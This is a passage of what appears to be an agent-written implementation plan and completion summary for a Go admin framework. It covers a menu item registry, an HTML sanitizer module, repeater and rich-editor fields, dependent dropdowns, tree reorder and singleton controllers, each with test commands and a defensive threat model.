Fixture and smoke: testdata/companions with controller links (fields type dropdown fed by DropdownOptionsProvider = built-in url plus the registry's types, and reference dropdown with dependsOn type). companions_smoke_test.go: a fixture plugin registers type acme-page with a two-level References tree and a Resolve that echoes the layered pattern, and a second type acme-list with nil References; TestCompanionsDependentSmoke (Postgres, conform-style env) asserts: values[type]=acme-page answers applies true with depth 0 and 1 options; values[type]=acme-list answers applies false; an unauthenticated call is 401. signpost_smoke_test.go TestSignpostSmoke (no Docker): duplicate keys fail Activate with both plugin IDs in the message; Pattern layers item override, host override and default; a list type acme-posts with PatternFrom acme-post follows a host override set only for acme-post, a host override of acme-posts beats it, and an item override beats both; a PatternFrom naming an unregistered type fails Activate.
Docs: new docs/plugins/menu-item-types.md (front matter section plugins) explaining HasMenuItemTypes, Resolve, alternates order, pattern layers including PatternFrom for list types (declare the same DefaultPattern as the listed type and build children from MenuItemResolve.Pattern) and menu_items.patterns with neutral acme examples; docs/backend/forms.md gains a dependsOn section with DependentOptionsProvider and signpost.ReferenceOptions. cabana README Features and API reference updated in the same commit.</action>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 -run '^TestSignpostSmoke$' -v ./modules/signpost 2&gt;&amp;1 | grep -- '^--- PASS: TestSignpostSmoke' &amp;&amp; go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestTokenRouteGates)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3 &amp;&amp; go test -count=1 ./modules/party ./modules/pact &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; npm --prefix admin run typecheck &amp;&amp; go test -count=1 -run '^TestDocsTree$' ./cmd/summer &amp;&amp; go run ./cmd/summer docs:build --check</automated>
<fails_when>Non-zero exit: vet fails; no "--- PASS: TestSignpostSmoke" (duplicate keys accepted, the pattern layers wrong, or a PatternFrom list type ignores its record type's host override); fewer than three inventory passes (the new route lacks a phase09Routes entry, a token class or a conformance case); party or pact tests regress; admin.json or schema.d.ts drift from the swag annotations; the SPA no longer typechecks; the docs checker reports an unknown identifier, a missing README or a broken link.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^TestCompanionsDependentSmoke$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestCompanionsDependentSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN in the SUMMARY), or the route did not answer the registry's references with depths, answered applies true for a type without references, or let an anonymous caller through.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "type HasMenuItemTypes interface" modules/pact/capabilities.go` and `grep -n "type DependentOptionsProvider interface" modules/pact/capabilities.go` each print one line.
- `grep -c "PatternFrom" modules/pact/capabilities.go modules/signpost/signpost.go docs/plugins/menu-item-types.md` reports at least 1 per file.
- `grep -n "signpost.Activate" modules/party/registry.go` prints one line located after the postcard.Activate call.
- `grep -n "dependent-options" modules/cabana/http.go modules/cabana/security_coverage_test.go modules/cabana/token_routes_test.go` prints at least one line per file.
- `grep -c "signpost" README.md` is at least 1 and modules/signpost/README.md contains the lines "**Name:**" and "menu_items.patterns".
- `bash scripts/check-admin-openapi.sh --check` exits 0.
</acceptance_criteria>
<done>A plugin's typed menu item type is collected at boot, and an admin dropdown that depends on its sibling lists that type's references through one route, documented and in the OpenAPI.</done>
</task>
<task type="auto">
<name>Task 2: richeditor field type on a new seaglass sanitizer (bluemonday, decision note): every save sanitized, clean HTML byte-identical, removals reported</name>
<reversibility rating="costly">D-10: a new field type in the typed admin schema plus a framework dependency; later plugins and the SPA editor build on its value contract.</reversibility>
<files>.planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md, go.mod, go.sum, README.md, modules/seaglass/seaglass.go, modules/seaglass/seaglass_smoke_test.go, modules/seaglass/README.md, modules/cabana/form_schema.go, modules/cabana/field_richeditor.go, modules/cabana/settings.go, modules/cabana/relation_form.go, modules/cabana/README.md, modules/cabana/testdata/companions/models/link/fields.yaml, modules/cabana/companions_smoke_test.go, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, docs/backend/forms.md</files>
<read_first>../sm-journal-plugin/classes/format_html.go (SanitizeHTMLReport :164, removalReport, CheckHTML :335, sanitizeHTML :348 and the policy it builds, sameTokens), ../sm-journal-plugin/classes/blog_editor.go (decodeBlogHTML :154, removalNotices :171), .planning/notes/journal-html-sanitizing-bluemonday.md (rejected regex gates, bypass list), modules/cabana/field_type.go (pluginNotice, decodeOne :530, localizeNotices :781), modules/cabana/relation_field.go (FieldNotice :104), modules/cabana/settings.go (requireSettingInputs :287 and the settings compile path), modules/cabana/relation_form.go (refusing registry for plugin types), modules/cabana/field_markdown.go (the existing markdown gate to leave untouched), modules/phrasebook/backend/lang/en/lang.yaml and pl/lang.yaml (form: block), ../sm-journal-plugin/lang/en/lang.yaml (editor.* notice copy to mirror), go.mod, .planning/phases/17-blog-companions/17-UI-SPEC.md (Copywriting: richeditor.removed_* and markup_changed)</read_first>
<action>Per D-10 and D-06, add the core richeditor type with a real sanitizer.
Decision note first, committed alone as a planning doc: .planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md names github.com/microcosm-cc/bluemonday v1.0.27 for the framework (same library and version Journal already uses, RESEARCH Standard Stack and Pitfall 12), says why the regex gate of cabana's markdown preview is not reused, and records the D-10 Journal-clause deviation (Journal category content stays blogeditor).
seaglass (new module): port Journal's policy construction from format_html.go without the four Blog Editor figure and embed rules (the framework must not import the plugin), keep its link scheme allowlist (http, https, mailto, tel, relative) and its rel handling, and its token-equality comparison through golang.org/x/net/html so re-escaping alone is not a change. SanitizeReport returns the input unchanged with a zero Removals when the policy output is token-equal; otherwise the clean string and the removed element names, attribute names and comment count with Changed true. Sanitize returns only the string; Check returns an error when anything would change. `go get github.com/microcosm-cc/bluemonday@v1.0.27`. README in the standard structure with Dependencies naming bluemonday; root README row.
cabana richeditor: add "richeditor" to formFieldTypes (accepted keys: the common field keys plus size). On create and update every submitted richeditor value must be a string or null (anything else is a 422 on the field); a string goes through seaglass.SanitizeReport and the clean value is written; a non-zero Removals becomes notices on the field path through the same notice plumbing plugin field types use (phrase keys richeditor.removed_elements, richeditor.removed_attributes, richeditor.removed_comments with count and names, richeditor.markup_changed when only markup changed), localized into meta.notices. Settings forms and relation forms refuse richeditor at boot with "richeditor is supported in controller forms only" (and the same for repeater and dependsOn), so no save path bypasses the gate. Phrase keys added to modules/phrasebook/backend/lang/en and pl with the UI-SPEC copy (CLDR plural forms for pl).
Smoke: TestSeaglassSmoke (no Docker): a clean paragraph-and-list snippet comes back byte-identical; a snippet with an inline event handler, a javascript: link and a script element comes back without them and with those names in Removals. TestCompanionsRichEditorSmoke (Postgres): the links fixture gains a description richeditor field; creating a record with a script element and an onclick attribute stores the clean value and answers meta.notices for description; saving clean HTML stores it byte-identical and answers no notices.
Docs: docs/backend/forms.md gains a richeditor section (value contract, sanitize on save, notices, controller forms only); cabana README Features and field type list updated in the same commit as the code.</action>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 -run '^TestSeaglassSmoke$' -v ./modules/seaglass 2&gt;&amp;1 | grep -- '^--- PASS: TestSeaglassSmoke' &amp;&amp; grep -q 'github.com/microcosm-cc/bluemonday v1.0.27' go.mod &amp;&amp; go test -count=1 -short ./modules/cabana &amp;&amp; go test -count=1 -run '^TestDocsTree$' ./cmd/summer &amp;&amp; go run ./cmd/summer docs:build --check</automated>
<fails_when>Non-zero exit: vet fails; no "--- PASS: TestSeaglassSmoke" (clean HTML was rewritten or an unsafe construct survived); go.mod lacks bluemonday v1.0.27; a Docker-free cabana test regressed (for example a settings or relation form accepted richeditor); the docs checker reports an unknown identifier or a missing README.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^TestCompanionsRichEditorSmoke$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestCompanionsRichEditorSmoke'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or an unsanitized value was stored, clean HTML was not stored byte-identical, or the removal notices are missing from meta.notices.</fails_when>
</verify>
<acceptance_criteria>
- `test -f .planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md` succeeds and `git log --format=%s -1 -- .planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md` starts with "docs".
- `grep -n '"richeditor"' modules/cabana/form_schema.go` prints at least one line and `grep -n "seaglass.SanitizeReport" modules/cabana/field_richeditor.go` prints at least one line.
- `grep -c "removed_elements" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports at least 1 per file.
- `grep -n "seaglass" README.md` prints a table row.
</acceptance_criteria>
<done>A controller form field of type richeditor stores only sanitized HTML, leaves clean HTML byte-identical and tells the editor what it removed.</done>
</task>
<task type="auto">
<name>Task 3: repeater field type with nested fields, per-row errors, nested richeditor sanitizing and nested dependsOn, plus the dependent save recheck</name>
<reversibility rating="costly">D-07: the repeater schema keys and the stored JSON row shape are what FAQ content and sitemap definitions persist; reshaping them means migrating stored rows in every plugin that uses it.</reversibility>
<files>modules/cabana/form_schema.go, modules/cabana/field_repeater.go, modules/cabana/field_dependent.go, modules/cabana/crud.go, modules/cabana/README.md, modules/cabana/testdata/companions/models/link/fields.yaml, modules/cabana/companions_smoke_test.go, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, docs/backend/forms.md</files>
<read_first>modules/cabana/crud.go (ProjectWritableFields :159-175, the second nestedValue use :1135, nestedValue :1272, create and update decode paths), modules/cabana/form_schema.go (compile of fields, formFieldKeys), modules/cabana/field_richeditor.go and field_dependent.go (Tasks 1 and 2), modules/cabana/field_type.go (sameJSON :651, untouched skip, notices), modules/lagoon/jsonable.go (Jsonable :21), modules/cabana/field_ml.go (nested compile of a wrapper field), .planning/phases/17-blog-companions/17-RESEARCH.md (Pattern 5, Pattern 6 save recheck), .planning/phases/17-blog-companions/17-UI-SPEC.md (RepeaterField contract, error copy repeater.max_items and min_items, form.dependent_invalid)</read_first>
<action>Per D-07 and D-08, add the repeater and close the dependent dropdown on save.
Compile: "repeater" joins formFieldTypes. Accepted keys: label, comment, span (always compiled to full), required, prompt, maxItems, minItems, titleFrom, form. form must hold fields; groups and style are refused loudly ("repeater groups are not supported" and the same for style). Nested fields compile with the same rules as top-level fields restricted to text, textarea, number, checkbox, switch, dropdown and richeditor; any other nested type (relation, relation-manager, fileupload, widget, partial, password, datepicker, permissioneditor, markdown, ml types, plugin field types, repeater) fails boot naming the repeater and the nested field. titleFrom must name a nested field. A nested dropdown with dependsOn must name a sibling in the same row. minItems and maxItems are non-negative and minItems is at most maxItems. The compiled schema carries form.fields, prompt, maxItems, minItems and titleFrom.
Save: in ProjectWritableFields exempt only fields compiled as repeater from the nested-value refusal (nestedValue itself stays unchanged). The repeater decode accepts null (stored as an empty list) or an array of objects; anything else is a 422 on the field. Each row keeps only nested field names; scalars are coerced per nested type (number to a JSON number, checkbox and switch to bool, the rest to string or null); a nested required value missing in a row is a 422 under the key field.index.nested (for example content.3.answer); a row count above maxItems or below minItems is a 422 on the field with repeater.max_items or repeater.min_items. Nested richeditor values go through seaglass with notices under field.index.nested. The model column receives the decoded []map[string]any (models use lagoon.Jsonable).
Dependent recheck (D-08): on create and update, every dependsOn dropdown (top level, and in each repeater row with the row's sibling value) is rechecked by calling the provider with the submitted sibling value. When applies is false the stored value is null. When applies is true a non-null value that is not among the option values is a 422 with form.dependent_invalid on the field (row path for nested fields).
Phrase keys repeater.max_items, repeater.min_items and form.dependent_invalid (en, pl) from the UI-SPEC copy.
Smoke: the links fixture gains a repeater rows with nested title (text, required), body (richeditor) and target type plus reference (dependsOn type). TestCompanionsRepeaterSmoke (Postgres): a valid two-row save stores both rows with only nested keys; a row missing title answers 422 with key rows.1.title; a nested body with a script element is stored clean with a notice under rows.0.body; a nested reference not offered for its row's type answers 422 under rows.0.reference; a top-level reference outside the options answers 422 with form.dependent_invalid. Docs: docs/backend/forms.md repeater section with an acme example and the nested type list; cabana README updated.</action>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 -short ./modules/cabana ./modules/lagoon &amp;&amp; go test -count=1 -run '^TestDocsTree$' ./cmd/summer &amp;&amp; go run ./cmd/summer docs:build --check</automated>
<fails_when>Non-zero exit: vet fails; a Docker-free cabana or lagoon test regressed (for example nested values are now accepted on non-repeater fields); the docs checker reports an unknown identifier.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestCompanionsRepeaterSmoke|TestCompanionsRichEditorSmoke|TestCompanionsDependentSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than three passes: a repeater row kept unknown keys, a per-row error used the wrong key, a nested richeditor value was stored unsanitized, or a dependent value outside its options was accepted.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n '"repeater"' modules/cabana/form_schema.go` prints at least one line.
- The nestedValue body is unchanged against the pre-phase head 5c75b31 (one bash command, no temporary file, no unset environment variable; the git status is captured before any pipe) exits 0: `PRE=$(git show 5c75b31:modules/cabana/crud.go) && test "$(printf '%s\n' "$PRE" | grep -c '^func nestedValue')" -eq 1 && diff <(printf '%s\n' "$PRE" | sed -n '/^func nestedValue/,/^}/p') <(sed -n '/^func nestedValue/,/^}/p' modules/cabana/crud.go)`.
- `grep -c "dependent_invalid" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports at least 1 per file.
</acceptance_criteria>
<done>Editors can save lists of rows with nested fields; every row is validated, sanitized and rechecked on the server.</done>
</task>
<task type="auto">
<name>Task 4: tree reorder (config_reorder.yaml, GET and POST routes, toolbar button) and the singleton controller, with OpenAPI, inventories and docs</name>
<reversibility rating="costly">D-09 and D-11: the config_reorder.yaml keys, the reorder payload and pact.AdminSingleton become the contract the menu and sitemap plugins (and later ones) declare.</reversibility>
<files>modules/pact/capabilities.go, modules/pact/README.md, modules/cabana/reorder.go, modules/cabana/singleton.go, modules/cabana/list_schema.go, modules/cabana/form_schema.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/README.md, modules/cabana/testdata/companions/controllers/links/config_reorder.yaml, modules/cabana/testdata/companions/controllers/links/config_list.yaml, modules/cabana/companions_smoke_test.go, modules/cabana/security_coverage_test.go, modules/cabana/token_routes_test.go, modules/cabana/phase10_coverage_test.go, modules/cabana/openapi_conformance_test.go, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, admin/openapi/admin.json, admin/src/api/schema.d.ts, docs/backend/lists-and-filters.md, docs/backend/admin-controllers.md, docs/backend/settings.md</files>
<read_first>modules/cabana/field_file.go (fileReorderOn :1303: exact visible-set rule, transaction shape), modules/cabana/list_schema.go (toolbarButtons :315-380, compileToolbarButtons), modules/cabana/crud.go (ListExtendQuery and FormExtendQuery use, delete and create handlers), modules/cabana/http.go (route table), modules/cabana/settings.go (SettingsItem Controller link handling), modules/cabana/admin_openapi.go, the four inventory test files, .planning/phases/17-blog-companions/17-RESEARCH.md (Pattern 7), .planning/phases/17-blog-companions/17-UI-SPEC.md (Reorder page saving contract, Singleton form), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/menu/controllers/menuentries/reorder_config.yaml</read_first>
<action>Per D-09, D-11 and D-06.
Reorder config: a controller's ConfigDir may hold config_reorder.yaml with keys title, nameFrom, modelClass (Winter), parentColumn (default parent_id), sortColumn (default sort_order), maxDepth (0 means unlimited) and an optional partition block {column, relation, nameFrom, label}; any other key fails boot. At boot the parent, sort and partition columns must be columns of the controller's record (NewRecord); the partition relation must be a belongsTo of that record. toolbar.buttons accepts reorder only when the controller has this config (boot error "toolbar.buttons: reorder needs config_reorder.yaml" otherwise); the list schema exposes reorder (and the partition column) to the SPA.
Routes (reorder.go): GET {vendor}/{plugin}/{controller}/reorder?partition=<id> answers {data:{title, partition:{label, options:[{value,label}], value}|null, nodes:[{id, parent_id, sort_order, name}]}} with the records scoped through ListExtendQuery and the partition filter, ordered by sort column then id; the partition defaults to the first option when absent. POST {vendor}/{plugin}/{controller}/reorder (requireAjax, CSRF like every write) with {partition, nodes:[{id, parent_id, sort_order}]} runs in one transaction: select the scoped set FOR UPDATE; when the submitted ids differ from it in any way answer 409 with error code reorder_stale and message reorder.stale; refuse a duplicate id, a parent_id outside the set, a cycle and a depth above maxDepth with 422 validation_failed; then update the parent and sort columns of every node and answer the new tree. Both routes require the controller's RequiredPermissions; the POST is a write route for tokens (gated like update).
Singleton (singleton.go): pact.AdminSingleton (SingletonRecord(ctx, db) (any, error), first-or-create) on an admin controller enables GET {vendor}/{plugin}/{controller}/singleton answering {data:{id}}; the compiled form schema carries singleton true; such a controller needs no config_list.yaml, and its list, create, bulk and delete routes answer 404 not_found. A SettingsItem whose Controller names a singleton controller stays a link (the SPA resolves the record).
Gates: swag blocks for the three routes, phase09Routes entries, token route classes, phase 10 coverage entries and conformance cases; scripts/check-admin-openapi.sh regenerates admin.json and schema.d.ts; npm --prefix admin run typecheck. Phrase keys reorder.stale and reorder.load_failed (server side) in en and pl.
Smoke (Postgres): TestCompanionsReorderSmoke on the links fixture with partition group: GET lists only the partition's nodes; a POST that nests one node under another writes both columns; a POST that omits a node answers 409 reorder_stale and changes nothing; a POST with a cycle answers 422; a POST naming a node of another partition answers 409. TestCompanionsSingletonSmoke: a fixture singleton controller creates its record on the first GET, returns the same id on the second, and answers 404 on its list and delete routes.
Docs: docs/backend/lists-and-filters.md reorder section (config_reorder.yaml keys, partition, the 409 contract); docs/backend/admin-controllers.md singleton section; docs/backend/settings.md notes a Controller link to a singleton; pact and cabana READMEs updated.</action>
<verify>
<automated>go vet ./... &amp;&amp; go test -count=1 -run '^(TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestTokenRouteGates|TestPhase09PermissionMatrix)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4 &amp;&amp; go test -count=1 -short ./... &amp;&amp; bash scripts/check-admin-openapi.sh --check &amp;&amp; npm --prefix admin run typecheck &amp;&amp; go test -count=1 -run '^TestDocsTree$' ./cmd/summer &amp;&amp; go run ./cmd/summer docs:build --check</automated>
<fails_when>Non-zero exit: vet fails; fewer than four inventory passes (a new route lacks an inventory entry, token class or conformance case); any Docker-free test in the module regressed; admin.json or schema.d.ts drift; the SPA does not typecheck; the docs checker fails.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestCompanionsReorderSmoke|TestCompanionsSingletonSmoke|TestPhase10OpenAPIConformance)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or fewer than three passes: a stale or foreign set was written, a cycle was accepted, both columns were not written, the singleton was created twice or its list answered, or a response does not match its OpenAPI schema.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "reorder_stale" modules/cabana/reorder.go` prints at least one line.
- `grep -n "type AdminSingleton interface" modules/pact/capabilities.go` prints one line.
- `grep -n '/reorder\|/singleton' modules/cabana/http.go` prints at least three lines.
- `grep -n "config_reorder.yaml" docs/backend/lists-and-filters.md` and `grep -n "AdminSingleton" docs/backend/admin-controllers.md` each print at least one line.
</acceptance_criteria>
<done>Any parent and sort-order model can be reordered as a tree on the server with stale and cycle protection, and a controller can expose exactly one record as a form.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| admin browser → cabana API | authenticated but untrusted input (HTML, row arrays, reorder sets, query values) |
| plugin code → signpost registry | trusted compiled code, validated at boot |
| host config → signpost | operator-controlled patterns |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-17-01 | Tampering (stored XSS) | richeditor save, top-level and nested | high | mitigate | seaglass (bluemonday v1.0.27, Journal-equivalent policy) on every create and update; settings and relation forms refuse the type at boot; TestCompanionsRichEditorSmoke and TestCompanionsRepeaterSmoke |
| T-17-02 | Tampering (mass assignment) | repeater rows | medium | mitigate | rows keep only compiled nested field names; the nested-value exemption is limited to repeater fields; non-array input is a 422 |
| T-17-03 | Tampering | dependent dropdown values | medium | mitigate | server recheck against the provider's options for the submitted sibling value, per row; 422 form.dependent_invalid |
| T-17-04 | Elevation of Privilege (IDOR) | reorder POST | high | mitigate | scoped set through ListExtendQuery plus partition, locked FOR UPDATE; the submitted id set must equal it exactly (409 otherwise); parents must be in the set; controller permissions and token write gate |
| T-17-05 | Denial of Service / Tampering | reorder tree validation | medium | mitigate | cycle detection, duplicate ids and maxDepth refused before any write; one transaction |
| T-17-06 | Information Disclosure | dependent-options and singleton routes | medium | mitigate | backend principal, controller RequiredPermissions and the same token gate as schema routes; anonymous 401 in the smoke test |
| T-17-07 | Spoofing (CSRF) | reorder POST | medium | mitigate | requireAjax plus the existing CSRF check, like every cabana write route |
| T-17-08 | Tampering | signpost boot | low | mitigate | duplicate keys, empty keys, nil Resolve, empty or relative DefaultPattern, a dangling, self or chained PatternFrom and unknown host overrides fail boot; no runtime registration |
| T-17-09 | Tampering (supply chain) | bluemonday in go.mod | low | mitigate | exact v1.0.27, already used by Journal; decision note; go.sum committed |
| T-17-SC | Tampering | npm/pip/cargo installs | high | mitigate | no npm package is installed in this plan; the Go dependency is pinned with go.sum (package-legitimacy gate applies to the TipTap install in plan 02) |
</threat_model>
<verification>
- Task 1: signpost smoke, route inventories, OpenAPI drift check, typecheck, docs; the dependent-options smoke on a Docker host.
- Task 2: seaglass smoke, bluemonday pinned, Docker-free cabana suite, docs; the richeditor smoke on a Docker host.
- Task 3: Docker-free cabana and lagoon suites, docs; repeater, richeditor and dependent smokes on a Docker host.
- Task 4: inventories, whole-repo -short suite, OpenAPI drift, typecheck, docs; reorder, singleton and OpenAPI conformance on a Docker host.
</verification>
<success_criteria>
- SC-2: the typed registry exists and fails boot on conflicts; the one admin binding (dependent dropdown) reads it.
- SC-1 (framework half): repeater, richeditor, dependent dropdown, tree reorder and singleton form exist server side with fail-loud schemas, docs and OpenAPI.
- `go vet ./...` and `go test -short ./...` stay green at every commit.
</success_criteria>
<output>
Create `.planning/phases/17-blog-companions/17-01-SUMMARY.md` when done, with the commits, the exported identifiers added per module, the Docker smoke tests run or NOT RUN, and any deviation.
</output>

View File

@@ -0,0 +1,305 @@
---
phase: 17-blog-companions
plan: 01
subsystem: api
tags: [go, cabana, pact, signpost, seaglass, bluemonday, openapi, admin-api, postgres]
requires:
- phase: 16.2
provides: Journal blogeditor (category content stays on it), plugin field type notices plumbing (meta.notices)
- phase: 15
provides: markdown field framework-first pattern (D-11), cabana field type and route conventions
provides:
- pact menu item type contracts (HasMenuItemTypes, MenuItemType, MenuItemReference, MenuItemResolve, ResolvedMenuItem, MenuItemAlternate)
- pact DependentOptionsProvider / DependentOptionSet, AdminSingleton, Option.Depth
- signpost module (menu item type registry, layered URL patterns, ReferenceOptions), activated by party before Boot
- seaglass module (bluemonday v1.0.27 sanitizer with byte-stable SanitizeReport, Sanitize, Check, Removals)
- cabana field types richeditor and repeater, dropdown dependsOn with the dependent-options route and save recheck
- cabana config_reorder.yaml tree reorder (GET/POST reorder) and singleton controllers (GET singleton)
- regenerated admin/openapi/admin.json and admin/src/api/schema.d.ts
affects: [17-02 admin SPA, 17-03 journal types and sitemap, 17-04 menu and faq plugins, 17-05 site integration, 17-06 unit tests]
actuals:
tokens: 61081
tasks: 4
commits: 5
plan_head_before: 9016e2a6fd010997e892b3972f013e7bf2e45fca
plan_head_after: 23f33c3911e90cab12bd2936a662e5bd2be78ede
tech-stack:
added: [github.com/microcosm-cc/bluemonday v1.0.27 (framework go.mod), github.com/aymerick/douceur v0.2.0 (indirect), github.com/gorilla/css v1.0.1 (indirect)]
patterns:
- "Boot-time typed registry published on the app (signpost.Activate after phrasebook/postcard, before Boot), fail-loud with module-prefixed errors"
- "Byte-stable sanitize: return the input when the policy output tokenizes to the same tokens; report removals as meta.notices"
- "Controller-only field features (richeditor, repeater, dependsOn) refused on settings and relation forms so no save path bypasses their checks"
- "Schema-driven exemption from the nested-value refusal (repeater lists only), nestedValue unchanged"
- "Locked exact-set rule for tree writes: 409 reorder_stale on any difference, 422 for structural errors"
key-files:
created:
- modules/signpost/signpost.go
- modules/signpost/README.md
- modules/signpost/signpost_smoke_test.go
- modules/signpost/example_test.go
- modules/seaglass/seaglass.go
- modules/seaglass/README.md
- modules/seaglass/seaglass_smoke_test.go
- modules/cabana/field_dependent.go
- modules/cabana/field_richeditor.go
- modules/cabana/field_repeater.go
- modules/cabana/reorder.go
- modules/cabana/singleton.go
- modules/cabana/companions_smoke_test.go
- modules/cabana/testdata/companions/
- docs/plugins/menu-item-types.md
- .planning/notes/2026-10-11-framework-html-sanitizer-bluemonday.md
modified:
- modules/pact/capabilities.go
- modules/party/registry.go
- modules/cabana/form_schema.go
- modules/cabana/crud.go
- modules/cabana/schema_types.go
- modules/cabana/http.go
- modules/cabana/registry.go
- modules/cabana/list_schema.go
- modules/cabana/settings.go
- modules/cabana/relation_form.go
- modules/cabana/field_file.go
- modules/cabana/actions.go
- modules/cabana/contracts.go
- modules/cabana/admin_openapi.go
- modules/cabana/openapi_conformance_test.go
- modules/cabana/security_coverage_test.go
- modules/cabana/token_routes_test.go
- modules/cabana/phase10_coverage_test.go
- modules/cabana/phase10_csrf_test.go
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- go.mod
- go.sum
- README.md
- docs/backend/forms.md
- docs/backend/lists-and-filters.md
- docs/backend/admin-controllers.md
- docs/backend/settings.md
key-decisions:
- "Registry module signpost, sanitizer module seaglass; host pattern overrides at menu_items.patterns (YAML file only, dashed keys)"
- "List types declare PatternFrom (one level, must name a registered non-list type) so a host override of the record type reaches list children; every type still declares a DefaultPattern"
- "seaglass ports Journal's policy without the four Blog Editor rules and adds tel: links; Removals carries ElementCount/AttributeCount next to the names for plural notices"
- "D-10 Journal clause not executed: Journal category content stays blogeditor (resolved deviation, decision note)"
- "Dependent options for a dropdown inside a repeater row are addressed as {field}=repeater.nested, the same path the provider receives"
- "Dependent sibling values are normalized to strings (nil when empty) for both the options route and the save recheck"
- "Repeater-level required is checked on the rows (at least one row), not through lagoon rules on the Jsonable column"
- "Reorder saves write parent and sort columns with UpdateColumns (no model hooks), so a save hook that renumbers sort values cannot undo the order"
- "Reorder partition = a belongsTo relation field of the form; its options (RelationExtendOptionsQuery scope) are the partitions offered"
patterns-established:
- "Phase 17 cabana smoke fixture acme.companions (testdata/companions) shared by the companions smokes and the OpenAPI conformance env"
- "Docs Go snippets come from example_test.go functions that a test calls directly (docs:sync)"
requirements-completed: [SC-1, SC-2, D-01, D-02, D-03, D-06, D-07, D-08, D-09, D-10, D-11]
coverage:
- id: D1
description: "Typed menu item type registry: HasMenuItemTypes collected at boot by signpost.Activate in party, duplicate/empty/invalid types fail boot, layered patterns incl. PatternFrom, Resolve and ReferenceOptions"
requirement: "SC-2"
verification:
- kind: unit
ref: "modules/signpost/signpost_smoke_test.go#TestSignpostSmoke"
status: pass
- kind: unit
ref: "modules/signpost/example_test.go#ExampleRegistry_Resolve"
status: pass
human_judgment: false
- id: D2
description: "Dependent dropdown (dependsOn) with GET fields/{field}/dependent-options fed by signpost.ReferenceOptions, depths, applies false for a type without references, 401 anonymous"
requirement: "D-08"
verification:
- kind: integration
ref: "modules/cabana/companions_smoke_test.go#TestCompanionsDependentSmoke"
status: pass
human_judgment: false
- id: D3
description: "richeditor field type sanitized through seaglass on every save, clean HTML byte-identical, removals in meta.notices, non-string 422"
requirement: "D-10"
verification:
- kind: unit
ref: "modules/seaglass/seaglass_smoke_test.go#TestSeaglassSmoke"
status: pass
- kind: integration
ref: "modules/cabana/companions_smoke_test.go#TestCompanionsRichEditorSmoke"
status: pass
human_judgment: false
- id: D4
description: "repeater field type: nested keys only, per-row required (rows.1.title), nested richeditor sanitized, nested and top-level dependent recheck (form.dependent_invalid), row bounds"
requirement: "D-07"
verification:
- kind: integration
ref: "modules/cabana/companions_smoke_test.go#TestCompanionsRepeaterSmoke"
status: pass
human_judgment: false
- id: D5
description: "Tree reorder: config_reorder.yaml, GET/POST reorder with partition, both columns written, 409 reorder_stale for omitted or foreign nodes, 422 for cycles"
requirement: "D-09"
verification:
- kind: integration
ref: "modules/cabana/companions_smoke_test.go#TestCompanionsReorderSmoke"
status: pass
human_judgment: false
- id: D6
description: "Singleton controller: GET singleton first-or-create returns a stable id, list/create/delete 404, form schema singleton"
requirement: "D-11"
verification:
- kind: integration
ref: "modules/cabana/companions_smoke_test.go#TestCompanionsSingletonSmoke"
status: pass
human_judgment: false
- id: D7
description: "Every new route has swag annotations, regenerated admin.json/schema.d.ts, inventory entries, token classes, CSRF walk and conformance cases; docs and READMEs pass the docs checker"
requirement: "D-06"
verification:
- kind: unit
ref: "go test ./modules/cabana -run '^(TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestTokenRouteGates|TestPhase09PermissionMatrix|TestPhase10CSRF)$'"
status: pass
- kind: integration
ref: "modules/cabana/openapi_conformance_test.go#TestPhase10OpenAPIConformance"
status: pass
- kind: other
ref: "bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck && go run ./cmd/summer docs:build --check"
status: pass
human_judgment: false
duration: 41min
completed: 2026-10-12
status: complete
